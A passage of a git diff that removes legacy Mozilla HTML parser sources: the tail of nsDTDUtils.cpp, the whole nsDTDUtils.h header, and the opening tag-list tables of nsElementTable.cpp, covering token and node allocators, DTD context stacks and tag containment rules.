- * @update gess 01/26/00
- */
-void nsDTDContext::RemoveStyle(eHTMLTags aTag){
-
- int32_t theLevel=mStack.mCount;
-
- while (theLevel) {
- nsEntryStack *theStack=GetStylesAt(--theLevel);
- if (theStack) {
- int32_t index=theStack->mCount;
- while (index){
- nsTagEntry *theEntry=theStack->EntryAt(--index);
- if (aTag==(eHTMLTags)theEntry->mNode->GetNodeType()) {
- mResidualStyleCount--;
- nsCParserNode* result=theStack->Remove(index,aTag);
- IF_FREE(result, mNodeAllocator);
- return;
- }
- }
- }
- }
-}
-
-/**
- * This gets called when the parser module is getting unloaded
- *
- * @return nada
- */
-void nsDTDContext::ReleaseGlobalObjects(void){
-}
-
-
-/**************************************************************
- Now define the nsTokenAllocator class...
- **************************************************************/
-
-/**
- *
- * @update gess7/25/98
- * @param
- */
-nsTokenAllocator::nsTokenAllocator() {
-
- MOZ_COUNT_CTOR(nsTokenAllocator);
-
-#ifdef DEBUG
- int i=0;
- for(i=0;i<eToken_last-1;++i) {
- mTotals[i]=0;
- }
-#endif
-
-}
-
-/**
- * Destructor for the token factory
- * @update gess7/25/98
- */
-nsTokenAllocator::~nsTokenAllocator() {
-
- MOZ_COUNT_DTOR(nsTokenAllocator);
-
-}
-
-class CTokenFinder: public nsDequeFunctor{
-public:
- CTokenFinder(CToken* aToken) {mToken=aToken;}
- virtual void* operator()(void* anObject) {
- if(anObject==mToken) {
- return anObject;
- }
- return 0;
- }
- CToken* mToken;
-};
-
-/**
- * Let's get this code ready to be reused by all the contexts.
- *
- * @update rickg 12June2000
- * @param aType -- tells you the type of token to create
- * @param aTag -- tells you the type of tag to init with this token
- * @param aString -- gives a default string value for the token
- *
- * @return ptr to new token (or 0).
- */
-CToken* nsTokenAllocator::CreateTokenOfType(eHTMLTokenTypes aType,eHTMLTags aTag, const nsAString& aString) {
-
- CToken* result=0;
-
-#ifdef DEBUG
- mTotals[aType-1]++;
-#endif
- switch(aType){
- case eToken_start: result=new(mArenaPool) CStartToken(aString, aTag); break;
- case eToken_end: result=new(mArenaPool) CEndToken(aString, aTag); break;
- case eToken_comment: result=new(mArenaPool) CCommentToken(aString); break;
- case eToken_entity: result=new(mArenaPool) CEntityToken(aString); break;
- case eToken_whitespace: result=new(mArenaPool) CWhitespaceToken(aString); break;
- case eToken_newline: result=new(mArenaPool) CNewlineToken(); break;
- case eToken_text: result=new(mArenaPool) CTextToken(aString); break;
- case eToken_attribute: result=new(mArenaPool) CAttributeToken(aString); break;
- case eToken_instruction: result=new(mArenaPool) CInstructionToken(aString); break;
- case eToken_cdatasection: result=new(mArenaPool) CCDATASectionToken(aString); break;
- case eToken_doctypeDecl: result=new(mArenaPool) CDoctypeDeclToken(aString); break;
- case eToken_markupDecl: result=new(mArenaPool) CMarkupDeclToken(aString); break;
- default:
- NS_ASSERTION(false, "nsDTDUtils::CreateTokenOfType: illegal token type");
- break;
- }
-
- return result;
-}
-
-/**
- * Let's get this code ready to be reused by all the contexts.
- *
- * @update rickg 12June2000
- * @param aType -- tells you the type of token to create
- * @param aTag -- tells you the type of tag to init with this token
- *
- * @return ptr to new token (or 0).
- */
-CToken* nsTokenAllocator::CreateTokenOfType(eHTMLTokenTypes aType,eHTMLTags aTag) {
-
- CToken* result=0;
-
-#ifdef DEBUG
- mTotals[aType-1]++;
-#endif
- switch(aType){
- case eToken_start: result=new(mArenaPool) CStartToken(aTag); break;
- case eToken_end: result=new(mArenaPool) CEndToken(aTag); break;
- case eToken_comment: result=new(mArenaPool) CCommentToken(); break;
- case eToken_attribute: result=new(mArenaPool) CAttributeToken(); break;
- case eToken_entity: result=new(mArenaPool) CEntityToken(); break;
- case eToken_whitespace: result=new(mArenaPool) CWhitespaceToken(); break;
- case eToken_newline: result=new(mArenaPool) CNewlineToken(); break;
- case eToken_text: result=new(mArenaPool) CTextToken(); break;
- case eToken_instruction: result=new(mArenaPool) CInstructionToken(); break;
- case eToken_cdatasection: result=new(mArenaPool) CCDATASectionToken(aTag); break;
- case eToken_doctypeDecl: result=new(mArenaPool) CDoctypeDeclToken(aTag); break;
- case eToken_markupDecl: result=new(mArenaPool) CMarkupDeclToken(); break;
- default:
- NS_ASSERTION(false, "nsDTDUtils::CreateTokenOfType: illegal token type");
- break;
- }
-
- return result;
-}
-
-#ifdef DEBUG_TRACK_NODES
-
-static nsCParserNode* gAllNodes[100];
-static int gAllNodeCount=0;
-
-int FindNode(nsCParserNode *aNode) {
- int theIndex=0;
- for(theIndex=0;theIndex<gAllNodeCount;++theIndex) {
- if(gAllNodes[theIndex]==aNode) {
- return theIndex;
- }
- }
- return -1;
-}
-
-void AddNode(nsCParserNode *aNode) {
- if(-1==FindNode(aNode)) {
- gAllNodes[gAllNodeCount++]=aNode;
- }
- else {
- //you tried to recycle a node twice!
- }
-}
-
-void RemoveNode(nsCParserNode *aNode) {
- int theIndex=FindNode(aNode);
- if(-1<theIndex) {
- gAllNodes[theIndex]=gAllNodes[--gAllNodeCount];
- }
-}
-
-#endif
-
-
-#ifdef HEAP_ALLOCATED_NODES
-nsNodeAllocator::nsNodeAllocator():mSharedNodes(0){
-#ifdef DEBUG_TRACK_NODES
- mCount=0;
-#endif
-#else
-nsNodeAllocator::nsNodeAllocator() {
-#endif
- MOZ_COUNT_CTOR(nsNodeAllocator);
-}
-
-nsNodeAllocator::~nsNodeAllocator() {
- MOZ_COUNT_DTOR(nsNodeAllocator);
-
-#ifdef HEAP_ALLOCATED_NODES
- nsCParserNode* theNode = 0;
-
- while((theNode=(nsCParserNode*)mSharedNodes.Pop())){
-#ifdef DEBUG_TRACK_NODES
- RemoveNode(theNode);
-#endif
- ::operator delete(theNode);
- theNode=nullptr;
- }
-#ifdef DEBUG_TRACK_NODES
- if(mCount) {
- printf("**************************\n");
- printf("%i out of %i nodes leaked!\n",gAllNodeCount,mCount);
- printf("**************************\n");
- }
-#endif
-#endif
-}
-
-nsCParserNode* nsNodeAllocator::CreateNode(CToken* aToken,
- nsTokenAllocator* aTokenAllocator)
-{
- nsCParserNode* result = 0;
-#ifdef HEAP_ALLOCATED_NODES
-#if 0
- if(gAllNodeCount!=mSharedNodes.GetSize()) {
- int x=10; //this is very BAD!
- }
-#endif
- result = static_cast<nsCParserNode*>(mSharedNodes.Pop());
- if (result) {
- result->Init(aToken, aTokenAllocator,this);
- }
- else{
- result = nsCParserNode::Create(aToken, aTokenAllocator,this);
-#ifdef DEBUG_TRACK_NODES
- ++mCount;
- AddNode(static_cast<nsCParserNode*>(result));
-#endif
- IF_HOLD(result);
- }
-#else
- eHTMLTokenTypes type = aToken ? eHTMLTokenTypes(aToken->GetTokenType()) : eToken_unknown;
- switch (type) {
- case eToken_start:
- result = nsCParserStartNode::Create(aToken, aTokenAllocator,this);
- break;
- default :
- result = nsCParserNode::Create(aToken, aTokenAllocator,this);
- break;
- }
- IF_HOLD(result);
-#endif
- return result;
-}
-
-#ifdef DEBUG
-void DebugDumpContainmentRules(nsIDTD& theDTD,const char* aFilename,const char* aTitle) {
-}
-#endif
diff --git a/parser/htmlparser/src/nsDTDUtils.h b/parser/htmlparser/src/nsDTDUtils.h
deleted file mode 100644
index 1e087e756..000000000
--- a/parser/htmlparser/src/nsDTDUtils.h
+++ /dev/null
@@ -1,453 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* vim: set ts=2 sw=2 et tw=80: */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-/**
- * MODULE NOTES:
- * @update gess 4/1/98
- *
- */
-
-
-
-#ifndef DTDUTILS_
-#define DTDUTILS_
-
-#include "nsHTMLTags.h"
-#include "nsHTMLTokens.h"
-#include "nsIParser.h"
-#include "nsCRT.h"
-#include "nsDeque.h"
-#include "nsIDTD.h"
-#include "nsITokenizer.h"
-#include "nsString.h"
-#include "nsIParserNode.h"
-#include "nsCOMArray.h"
-#include "nsIParserService.h"
-#include "nsReadableUtils.h"
-#include "nsIHTMLContentSink.h"
-#include "nsIFrame.h"
-
-#define IF_HOLD(_ptr) \
- PR_BEGIN_MACRO \
- if(_ptr) { \
- _ptr->AddRef(); \
- } \
- PR_END_MACRO
-
-// recycles _ptr
-#define IF_FREE(_ptr, _allocator) \
- PR_BEGIN_MACRO \
- if(_ptr && _allocator) { \
- _ptr->Release((_allocator)->GetArenaPool()); \
- _ptr=0; \
- } \
- PR_END_MACRO
-
-// release objects and destroy _ptr
-#define IF_DELETE(_ptr, _allocator) \
- PR_BEGIN_MACRO \
- if(_ptr) { \
- _ptr->ReleaseAll(_allocator); \
- delete(_ptr); \
- _ptr=0; \
- } \
- PR_END_MACRO
-
-class nsIParserNode;
-class nsCParserNode;
-class nsNodeAllocator;
-
-
-#ifdef DEBUG
-void DebugDumpContainmentRules(nsIDTD& theDTD,const char* aFilename,const char* aTitle);
-void DebugDumpContainmentRules2(nsIDTD& theDTD,const char* aFilename,const char* aTitle);
-#endif
-
-/***************************************************************
- First, define the tagstack class
- ***************************************************************/
-
-class nsEntryStack; //forware declare to make compilers happy.
-
-struct nsTagEntry {
- nsTagEntry ()
- : mTag(eHTMLTag_unknown), mNode(0), mParent(0), mStyles(0){}
- eHTMLTags mTag; //for speedier access to tag id
- nsCParserNode* mNode;
- nsEntryStack* mParent;
- nsEntryStack* mStyles;
-};
-
-class nsEntryStack {
-
-public:
- nsEntryStack();
- ~nsEntryStack();
-
- nsTagEntry* PopEntry();
- void PushEntry(nsTagEntry* aEntry, bool aRefCntNode = true);
- void EnsureCapacityFor(int32_t aNewMax, int32_t aShiftOffset=0);
- void Push(nsCParserNode* aNode,nsEntryStack* aStyleStack=0, bool aRefCntNode = true);
- void PushTag(eHTMLTags aTag);
- void PushFront(nsCParserNode* aNode,nsEntryStack* aStyleStack=0, bool aRefCntNode = true);
- void Append(nsEntryStack *aStack);
- nsCParserNode* Pop(void);
- nsCParserNode* Remove(int32_t anIndex,eHTMLTags aTag);
- nsCParserNode* NodeAt(int32_t anIndex) const;
- eHTMLTags First() const;
- eHTMLTags TagAt(int32_t anIndex) const;
- nsTagEntry* EntryAt(int32_t anIndex) const;
- eHTMLTags operator[](int32_t anIndex) const;
- eHTMLTags Last() const;
- void Empty(void);
-
- /*
- * Release all objects in the entry stack
- */
- void ReleaseAll(nsNodeAllocator* aNodeAllocator);
-
- /**
- * Find the first instance of given tag on the stack.
- * @update gess 12/14/99
- * @param aTag
- * @return index of tag, or kNotFound if not found
- */
- inline int32_t FirstOf(eHTMLTags aTag) const {
- int32_t index=-1;
-
- if(0<mCount) {
- while(++index<mCount) {
- if(aTag==mEntries[index].mTag) {
- return index;
- }
- } //while
- }
- return kNotFound;
- }
-
-
- /**
- * Find the last instance of given tag on the stack.
- * @update gess 12/14/99
- * @param aTag
- * @return index of tag, or kNotFound if not found
- */
- inline int32_t LastOf(eHTMLTags aTag) const {
- int32_t index=mCount;
- while(--index>=0) {
- if(aTag==mEntries[index].mTag) {
- return index;
- }
- }
- return kNotFound;
- }
-
- nsTagEntry* mEntries;
- int32_t mCount;
- int32_t mCapacity;
-};
-
-
-/**********************************************************
- The table state class is used to store info about each
- table that is opened on the stack. As tables open and
- close on the context, we update these objects to track
- what has/hasn't been seen on a per table basis.
- **********************************************************/
-class CTableState {
-public:
- CTableState(CTableState *aPreviousState=0) {
- mHasCaption=false;
- mHasCols=false;
- mHasTHead=false;
- mHasTFoot=false;
- mHasTBody=false;
- mPrevious=aPreviousState;
- }
-
- bool CanOpenCaption() {
- bool result=!(mHasCaption || mHasCols || mHasTHead || mHasTFoot || mHasTBody);
- return result;
- }
-
- bool CanOpenCols() {
- bool result=!(mHasCols || mHasTHead || mHasTFoot || mHasTBody);
- return result;
- }
-
- bool CanOpenTBody() {
- bool result=!(mHasTBody);
- return result;
- }
-
- bool CanOpenTHead() {
- bool result=!(mHasTHead || mHasTFoot || mHasTBody);
- return result;
- }
-
- bool CanOpenTFoot() {
- bool result=!(mHasTFoot || mHasTBody);
- return result;
- }
-
- bool mHasCaption;
- bool mHasCols;
- bool mHasTHead;
- bool mHasTFoot;
- bool mHasTBody;
- CTableState *mPrevious;
-};
-
-/************************************************************************
- nsTokenAllocator class implementation.
- This class is used to recycle tokens.
- By using this simple class, we cut WAY down on the number of tokens
- that get created during the run of the system.
-
- Note: The allocator is created per document. It's been shared
- ( but not ref. counted ) by objects, tokenizer,dtd,and dtd context,
- that cease to exist when the document is destroyed.
- ************************************************************************/
-class nsTokenAllocator
-{
-public:
-
- nsTokenAllocator();
- ~nsTokenAllocator();
- CToken* CreateTokenOfType(eHTMLTokenTypes aType,eHTMLTags aTag, const nsAString& aString);
- CToken* CreateTokenOfType(eHTMLTokenTypes aType,eHTMLTags aTag);
-
- nsDummyAllocator& GetArenaPool() { return mArenaPool; }
-
-protected:
- nsDummyAllocator mArenaPool;
-#ifdef DEBUG
- int mTotals[eToken_last-1];
-#endif
-};
-
-/************************************************************************
- CNodeRecycler class implementation.
- This class is used to recycle nodes.
- By using this simple class, we cut down on the number of nodes
- that get created during the run of the system.
- ************************************************************************/
-
-#ifndef HEAP_ALLOCATED_NODES
-class nsCParserNode;
-#endif
-
-class nsNodeAllocator
-{
-public:
-
- nsNodeAllocator();
- ~nsNodeAllocator();
- nsCParserNode* CreateNode(CToken* aToken=nullptr, nsTokenAllocator* aTokenAllocator=0);
-
- nsDummyAllocator& GetArenaPool() { return mNodePool; }
-
-#ifdef HEAP_ALLOCATED_NODES
- void Recycle(nsCParserNode* aNode) { mSharedNodes.Push(static_cast<void*>(aNode)); }
-protected:
- nsDeque mSharedNodes;
-#ifdef DEBUG_TRACK_NODES
- int32_t mCount;
-#endif
-#endif
-
-protected:
- nsDummyAllocator mNodePool;
-};
-
-/************************************************************************
- The dtdcontext class defines an ordered list of tags (a context).
- ************************************************************************/
-
-class nsDTDContext
-{
-public:
- nsDTDContext();
- ~nsDTDContext();
-
- nsTagEntry* PopEntry();
- void PushEntry(nsTagEntry* aEntry, bool aRefCntNode = true);
- void MoveEntries(nsDTDContext& aDest, int32_t aCount);
- void Push(nsCParserNode* aNode,nsEntryStack* aStyleStack=0, bool aRefCntNode = true);
- void PushTag(eHTMLTags aTag);
- nsCParserNode* Pop(nsEntryStack*& aChildStack);
- nsCParserNode* Pop();
- nsCParserNode* PeekNode() { return mStack.NodeAt(mStack.mCount-1); }
- eHTMLTags First(void) const;
- eHTMLTags Last(void) const;
- nsTagEntry* LastEntry(void) const;
- eHTMLTags TagAt(int32_t anIndex) const;
- eHTMLTags operator[](int32_t anIndex) const {return TagAt(anIndex);}
- bool HasOpenContainer(eHTMLTags aTag) const;
- int32_t FirstOf(eHTMLTags aTag) const {return mStack.FirstOf(aTag);}
- int32_t LastOf(eHTMLTags aTag) const {return mStack.LastOf(aTag);}
-
- void Empty(void);
- int32_t GetCount(void) const {return mStack.mCount;}
- int32_t GetResidualStyleCount(void) {return mResidualStyleCount;}
- nsEntryStack* GetStylesAt(int32_t anIndex) const;
- void PushStyle(nsCParserNode* aNode);
- void PushStyles(nsEntryStack *aStyles);
- nsCParserNode* PopStyle(void);
- nsCParserNode* PopStyle(eHTMLTags aTag);
- void RemoveStyle(eHTMLTags aTag);
-
- static void ReleaseGlobalObjects(void);
-
- void SetTokenAllocator(nsTokenAllocator* aTokenAllocator) { mTokenAllocator=aTokenAllocator; }
- void SetNodeAllocator(nsNodeAllocator* aNodeAllocator) { mNodeAllocator=aNodeAllocator; }
-
- nsEntryStack mStack; //this will hold a list of tagentries...
- int32_t mResidualStyleCount;
- int32_t mContextTopIndex;
-
- nsTokenAllocator *mTokenAllocator;
- nsNodeAllocator *mNodeAllocator;
-
-#ifdef DEBUG
- enum { eMaxTags = MAX_REFLOW_DEPTH };
- eHTMLTags mXTags[eMaxTags];
-#endif
-};
-
-/**************************************************************
- Now define the token deallocator class...
- **************************************************************/
-class CTokenDeallocator: public nsDequeFunctor{
-protected:
- nsDummyAllocator& mArenaPool;
-
-public:
- CTokenDeallocator(nsDummyAllocator& aArenaPool)
- : mArenaPool(aArenaPool) {}
-
- virtual void* operator()(void* anObject) {
- CToken* aToken = (CToken*)anObject;
- aToken->Release(mArenaPool);
- return 0;
- }
-};
-
-
-/************************************************************************
- ITagHandler class offers an API for taking care of specific tokens.
- ************************************************************************/
-class nsITagHandler {
-public:
-
- virtual void SetString(const nsString &aTheString)=0;
- virtual nsString* GetString()=0;
- virtual bool HandleToken(CToken* aToken,nsIDTD* aDTD)=0;
- virtual bool HandleCapturedTokens(CToken* aToken,nsIDTD* aDTD)=0;
-};
-
-/************************************************************************
- Here are a few useful utility methods...
- ************************************************************************/
-
-/**
- * This method quickly scans the given set of tags,
- * looking for the given tag.
- * @update gess8/27/98
- * @param aTag -- tag to be search for in set
- * @param aTagSet -- set of tags to be searched
- * @return
- */
-inline int32_t IndexOfTagInSet(int32_t aTag,const eHTMLTags* aTagSet,int32_t aCount) {
-
- const eHTMLTags* theEnd=aTagSet+aCount;
- const eHTMLTags* theTag=aTagSet;
-
- while(theTag<theEnd) {
- if(aTag==*theTag) {
- return theTag-aTagSet;
- }
- ++theTag;
- }
-
- return kNotFound;
-}
-
-/**
- * This method quickly scans the given set of tags,
- * looking for the given tag.
- * @update gess8/27/98
- * @param aTag -- tag to be search for in set
- * @param aTagSet -- set of tags to be searched
- * @return
- */
-inline bool FindTagInSet(int32_t aTag,const eHTMLTags *aTagSet,int32_t aCount) {
- return bool(-1<IndexOfTagInSet(aTag,aTagSet,aCount));
-}
-
-/*********************************************************************************************/
-
-struct TagList {
- size_t mCount;
- const eHTMLTags *mTags;
-};
-
-/**
- * Find the last member of given taglist on the given context
- * @update gess 12/14/99
- * @param aContext
- * @param aTagList
- * @return index of tag, or kNotFound if not found
- */
-inline int32_t LastOf(nsDTDContext& aContext, const TagList& aTagList){
- int max = aContext.GetCount();
- int index;
- for(index=max-1;index>=0;index--){
- bool result=FindTagInSet(aContext[index],aTagList.mTags,aTagList.mCount);
- if(result) {
- return index;
- }
- }
- return kNotFound;
-}
-
-/**
- * Find the first member of given taglist on the given context
- * @update gess 12/14/99
- * @param aContext
- * @param aStartOffset
- * @param aTagList
- * @return index of tag, or kNotFound if not found
- */
-inline int32_t FirstOf(nsDTDContext& aContext,int32_t aStartOffset,TagList& aTagList){
- int max = aContext.GetCount();
- int index;
- for(index=aStartOffset;index<max;++index){
- bool result=FindTagInSet(aContext[index],aTagList.mTags,aTagList.mCount);
- if(result) {
- return index;
- }
- }
- return kNotFound;
-}
-
-
-/**
- * Call this to find out whether the DTD thinks the tag requires an END tag </xxx>
- * @update gess 01/04/99
- * @param id of tag
- * @return TRUE of the element's end tag is optional
- */
-inline bool HasOptionalEndTag(eHTMLTags aTag) {
- static eHTMLTags gHasOptionalEndTags[]={eHTMLTag_body,eHTMLTag_colgroup,eHTMLTag_dd,eHTMLTag_dt,
- eHTMLTag_head,eHTMLTag_li,eHTMLTag_option,
- eHTMLTag_p,eHTMLTag_tbody,eHTMLTag_td,eHTMLTag_tfoot,
- eHTMLTag_th,eHTMLTag_thead,eHTMLTag_tr,
- eHTMLTag_userdefined,eHTMLTag_unknown};
- return FindTagInSet(aTag,gHasOptionalEndTags,sizeof(gHasOptionalEndTags)/sizeof(eHTMLTag_body));
-}
-#endif
diff --git a/parser/htmlparser/src/nsElementTable.cpp b/parser/htmlparser/src/nsElementTable.cpp
deleted file mode 100644
index b96dfb297..000000000
--- a/parser/htmlparser/src/nsElementTable.cpp
+++ /dev/null
@@ -1,2231 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* vim: set ts=2 sw=2 et tw=78: */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-#include "nsIAtom.h"
-#include "nsElementTable.h"
-
-/*****************************************************************************
- Now it's time to list all the html elements all with their capabilities...
-******************************************************************************/
-
-#define DECL_TAG_LIST(name_, list_) \
- static const eHTMLTags name_##list[] = list_; \
- static const TagList name_ = { NS_ARRAY_LENGTH(name_##list), name_##list };
-
-#define COMMA ,
-
-//First, define the set of taglists for tags with special parents...
-DECL_TAG_LIST(gAParents,{eHTMLTag_map})
-DECL_TAG_LIST(gInAddress,{eHTMLTag_address})
-DECL_TAG_LIST(gInHead,{eHTMLTag_head})
-DECL_TAG_LIST(gInTable,{eHTMLTag_table})
-DECL_TAG_LIST(gInHTML,{eHTMLTag_html})
-DECL_TAG_LIST(gInBody,{eHTMLTag_body})
-DECL_TAG_LIST(gInForm,{eHTMLTag_form})
-DECL_TAG_LIST(gInFieldset,{eHTMLTag_fieldset})
-DECL_TAG_LIST(gInTR,{eHTMLTag_tr})
-DECL_TAG_LIST(gInDL,{eHTMLTag_dl COMMA eHTMLTag_body})
-DECL_TAG_LIST(gInFrameset,{eHTMLTag_frameset})
-DECL_TAG_LIST(gInNoframes,{eHTMLTag_noframes})
-//Removed ADDRESS to solve 24885
-// gInP: nsHTMLElement::CanContain() also allows table in Quirks mode for bug 43678, removed FORM bug 94269
-DECL_TAG_LIST(gInP,{eHTMLTag_span})
-DECL_TAG_LIST(gOptgroupParents,{eHTMLTag_select COMMA eHTMLTag_optgroup})
-DECL_TAG_LIST(gBodyParents,{eHTMLTag_html COMMA eHTMLTag_noframes})
-DECL_TAG_LIST(gColParents,{eHTMLTag_table COMMA eHTMLTag_colgroup})
-DECL_TAG_LIST(gFramesetParents,{eHTMLTag_html COMMA eHTMLTag_frameset})
-DECL_TAG_LIST(gLegendParents,{eHTMLTag_fieldset})
-DECL_TAG_LIST(gAreaParent,{eHTMLTag_map})
-DECL_TAG_LIST(gParamParents,{eHTMLTag_applet COMMA eHTMLTag_object})
-DECL_TAG_LIST(gTRParents,{eHTMLTag_tbody COMMA eHTMLTag_tfoot COMMA eHTMLTag_thead COMMA eHTMLTag_table})
-DECL_TAG_LIST(gTREndParents,{eHTMLTag_tbody COMMA eHTMLTag_tfoot COMMA eHTMLTag_thead COMMA eHTMLTag_table COMMA eHTMLTag_applet})
-DECL_TAG_LIST(gSourceParents,{eHTMLTag_video COMMA eHTMLTag_audio})
-DECL_TAG_LIST(gTrackParents,{eHTMLTag_video COMMA eHTMLTag_audio})
-
-//*********************************************************************************************
-// Next, define the set of taglists for tags with special kids...
-//*********************************************************************************************
-
-DECL_TAG_LIST(gContainsText,{eHTMLTag_text COMMA eHTMLTag_newline COMMA eHTMLTag_whitespace COMMA eHTMLTag_entity})
-DECL_TAG_LIST(gUnknownKids,{eHTMLTag_html COMMA eHTMLTag_frameset})
-
-// The presence of <input>, <select>, and <textarea> in gContainsOpts is due to
-// the exclgroup that <select> sets... If I don't include those here, they
-// just get dropped automatically, since they are not allowed to open inside
-// <select>. Note that we are NOT allowing them to actually open without
-// closing the select -- see gInputAutoClose. Further note that I'm not
-// including <button> in the list because in IE it doesn't autoclose <select>!
-DECL_TAG_LIST(gContainsOpts,{eHTMLTag_option COMMA eHTMLTag_optgroup COMMA eHTMLTag_script COMMA eHTMLTag_input COMMA eHTMLTag_select COMMA eHTMLTag_textarea })
-// Similar deal for <option> except it allows all of gContainsText _and_ the things that should autoclose selects.
-DECL_TAG_LIST(gContainedInOpt,{eHTMLTag_text COMMA eHTMLTag_newline COMMA eHTMLTag_whitespace COMMA eHTMLTag_entity COMMA eHTMLTag_input COMMA eHTMLTag_select COMMA eHTMLTag_textarea})
-DECL_TAG_LIST(gContainsParam,{eHTMLTag_param})
-DECL_TAG_LIST(gColgroupKids,{eHTMLTag_col})
-DECL_TAG_LIST(gAddressKids,{eHTMLTag_p})
-DECL_TAG_LIST(gBodyKids,{eHTMLTag_dd COMMA eHTMLTag_del COMMA eHTMLTag_dt COMMA eHTMLTag_ins COMMA eHTMLTag_noscript COMMA eHTMLTag_script COMMA eHTMLTag_li COMMA eHTMLTag_param}) // Added PARAM for bug 54448
-DECL_TAG_LIST(gButtonKids,{eHTMLTag_caption COMMA eHTMLTag_legend})
-
-DECL_TAG_LIST(gDLRootTags,{eHTMLTag_body COMMA eHTMLTag_td COMMA eHTMLTag_table COMMA eHTMLTag_applet COMMA eHTMLTag_dd})
-DECL_TAG_LIST(gDLKids,{eHTMLTag_dd COMMA eHTMLTag_dt})
-DECL_TAG_LIST(gDTKids,{eHTMLTag_dt})
-DECL_TAG_LIST(gFieldsetKids,{eHTMLTag_legend COMMA eHTMLTag_text})
-DECL_TAG_LIST(gFontKids,{eHTMLTag_legend COMMA eHTMLTag_table COMMA eHTMLTag_text COMMA eHTMLTag_li}) // Added table to fix bug 93365, li to fix bug 96031
-DECL_TAG_LIST(gFormKids,{eHTMLTag_keygen})
-DECL_TAG_LIST(gFramesetKids,{eHTMLTag_frame COMMA eHTMLTag_frameset COMMA eHTMLTag_noframes})
-
-DECL_TAG_LIST(gHtmlKids,{eHTMLTag_body COMMA eHTMLTag_frameset COMMA eHTMLTag_head COMMA eHTMLTag_noscript COMMA eHTMLTag_noframes COMMA eHTMLTag_script COMMA eHTMLTag_newline COMMA eHTMLTag_whitespace})
-
-DECL_TAG_LIST(gLabelKids,{eHTMLTag_span})
-DECL_TAG_LIST(gLIKids,{eHTMLTag_ol COMMA eHTMLTag_ul})
-DECL_TAG_LIST(gMapKids,{eHTMLTag_area})
-DECL_TAG_LIST(gPreKids,{eHTMLTag_hr COMMA eHTMLTag_center}) //note that CENTER is here for backward compatibility; it's not 4.0 spec.
-
-DECL_TAG_LIST(gTableKids,{eHTMLTag_caption COMMA eHTMLTag_col COMMA eHTMLTag_colgroup COMMA eHTMLTag_form COMMA eHTMLTag_thead COMMA eHTMLTag_tbody COMMA eHTMLTag_tfoot COMMA eHTMLTag_script})// Removed INPUT - Ref. Bug 20087, 25382
-
-DECL_TAG_LIST(gTableElemKids,{eHTMLTag_form COMMA eHTMLTag_noscript COMMA eHTMLTag_script COMMA eHTMLTag_td COMMA eHTMLTag_th COMMA eHTMLTag_tr})
-DECL_TAG_LIST(gTRKids,{eHTMLTag_td COMMA eHTMLTag_th COMMA eHTMLTag_form COMMA eHTMLTag_script})// Removed INPUT - Ref. Bug 20087, 25382 | Removed MAP to fix 58942
-DECL_TAG_LIST(gTBodyKids,{eHTMLTag_tr COMMA eHTMLTag_form}) // Removed INPUT - Ref. Bug 20087, 25382
-DECL_TAG_LIST(gULKids,{eHTMLTag_li COMMA eHTMLTag_p})
-DECL_TAG_LIST(gVideoKids,{eHTMLTag_source COMMA eHTMLTag_track})
-DECL_TAG_LIST(gAudioKids,{eHTMLTag_source COMMA eHTMLTag_track})
-
-//*********************************************************************************************
-// The following tag lists are used to define common set of root notes for the HTML elements...
-//*********************************************************************************************
-
-DECL_TAG_LIST(gRootTags,{eHTMLTag_body COMMA eHTMLTag_td COMMA eHTMLTag_table COMMA eHTMLTag_applet COMMA eHTMLTag_select}) // Added SELECT to fix bug 98645
-DECL_TAG_LIST(gTableRootTags,{eHTMLTag_applet COMMA eHTMLTag_body COMMA eHTMLTag_dl COMMA eHTMLTag_ol COMMA eHTMLTag_td COMMA eHTMLTag_th})
-DECL_TAG_LIST(gHTMLRootTags,{eHTMLTag_unknown})
-
-DECL_TAG_LIST(gLIRootTags,{eHTMLTag_ul COMMA eHTMLTag_ol COMMA eHTMLTag_dir COMMA eHTMLTag_menu COMMA eHTMLTag_p COMMA eHTMLTag_body COMMA eHTMLTag_td COMMA eHTMLTag_th})
-
-DECL_TAG_LIST(gOLRootTags,{eHTMLTag_body COMMA eHTMLTag_li COMMA eHTMLTag_td COMMA eHTMLTag_th COMMA eHTMLTag_select})
-DECL_TAG_LIST(gTDRootTags,{eHTMLTag_tr COMMA eHTMLTag_tbody COMMA eHTMLTag_thead COMMA eHTMLTag_tfoot COMMA eHTMLTag_table COMMA eHTMLTag_applet})
-DECL_TAG_LIST(gNoframeRoot,{eHTMLTag_body COMMA eHTMLTag_frameset})
-
-//*********************************************************************************************
-// The following tag lists are used to define the autoclose properties of the html elements...
-//*********************************************************************************************
-
-DECL_TAG_LIST(gBodyAutoClose,{eHTMLTag_head})
-DECL_TAG_LIST(gTBodyAutoClose,{eHTMLTag_thead COMMA eHTMLTag_tfoot COMMA eHTMLTag_tbody COMMA eHTMLTag_td COMMA eHTMLTag_th}) // TD|TH inclusion - Bug# 24112
-DECL_TAG_LIST(gCaptionAutoClose,{eHTMLTag_tbody})
-DECL_TAG_LIST(gLIAutoClose,{eHTMLTag_p COMMA eHTMLTag_li})
-DECL_TAG_LIST(gPAutoClose,{eHTMLTag_p COMMA eHTMLTag_li})
-DECL_TAG_LIST(gHRAutoClose,{eHTMLTag_p})
-DECL_TAG_LIST(gOLAutoClose,{eHTMLTag_p COMMA eHTMLTag_ol})
-DECL_TAG_LIST(gDivAutoClose,{eHTMLTag_p})
-// Form controls that autoclose <select> use this
-DECL_TAG_LIST(gInputAutoClose,{eHTMLTag_select COMMA eHTMLTag_optgroup COMMA eHTMLTag_option})
-
-DECL_TAG_LIST(gHeadingTags,{eHTMLTag_h1 COMMA eHTMLTag_h2 COMMA eHTMLTag_h3 COMMA eHTMLTag_h4 COMMA eHTMLTag_h5 COMMA eHTMLTag_h6})
-
-DECL_TAG_LIST(gTableCloseTags,{eHTMLTag_td COMMA eHTMLTag_tr COMMA eHTMLTag_th COMMA eHTMLTag_tbody COMMA eHTMLTag_thead COMMA eHTMLTag_tfoot})
-DECL_TAG_LIST(gTRCloseTags,{eHTMLTag_tr COMMA eHTMLTag_td COMMA eHTMLTag_th})
